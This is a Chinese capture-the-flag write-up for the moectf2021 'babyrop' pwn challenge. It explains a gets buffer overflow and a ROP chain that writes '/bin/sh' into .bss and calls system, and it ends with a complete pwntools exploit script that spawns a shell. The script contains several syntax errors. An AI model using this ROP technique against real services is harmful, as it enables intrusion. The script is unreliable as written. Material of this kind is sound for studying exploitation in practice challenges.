moectf2021新生赛>>pwn>>babyrop

moectf2021新生赛>>pwn>>babyrop

  题目名:babyrop

  WriteUp:

  首先checksec 

  moectf2021新生赛>>pwn>>babyrop

 

 

  IDA分析

  moectf2021新生赛>>pwn>>babyrop

 

 

    moectf2021新生赛>>pwn>>babyrop

 

 

 

 

   找到gets漏洞点,system的plt,产生利用rop构造参数来getshell的思路,但是无法直接从二进制文件中直接找到。

  这里想到2个办法1是ret2libc,暂且先不提,2是利用gets函数往.bss段内存写入参数"/bin/sh",来制造参数

 

  常规方法利用工具ROPgadgets构建ROPchain,但是这里可以直接利用栈结构来一步到位getshell

  moectf2021新生赛>>pwn>>babyrop

 

 得出exp,如下:

  

from pwn import *
context.log_level = debug

mode = 1
ip = ‘‘
port = ‘‘

binsh_offset = 0x17e0af
gets_plt = 0x08048380
libcmain_addr = 0x804A018
bss_addr = 0x804A028
system_plt = 0x80483A0

payload = a * 0x2c + p32(gets_plt) + p32(system_plt) + p32(bss_addr) + p32(bss_addr)

if mode == 1
    p = process("./babyrop")
    #gdb.attach(p,"b *0x08048380")
else:
    p = remote(ip,port)


p.sendlineafter("advise?",payload)

p.send("/bin/sh\n")

p.interactive()
    

 

 

 

 

moectf2021新生赛>>pwn>>babyrop

上一篇:@Value("#{}")与@Value("${}")的区别


下一篇:Intellij IDEA 的智能补全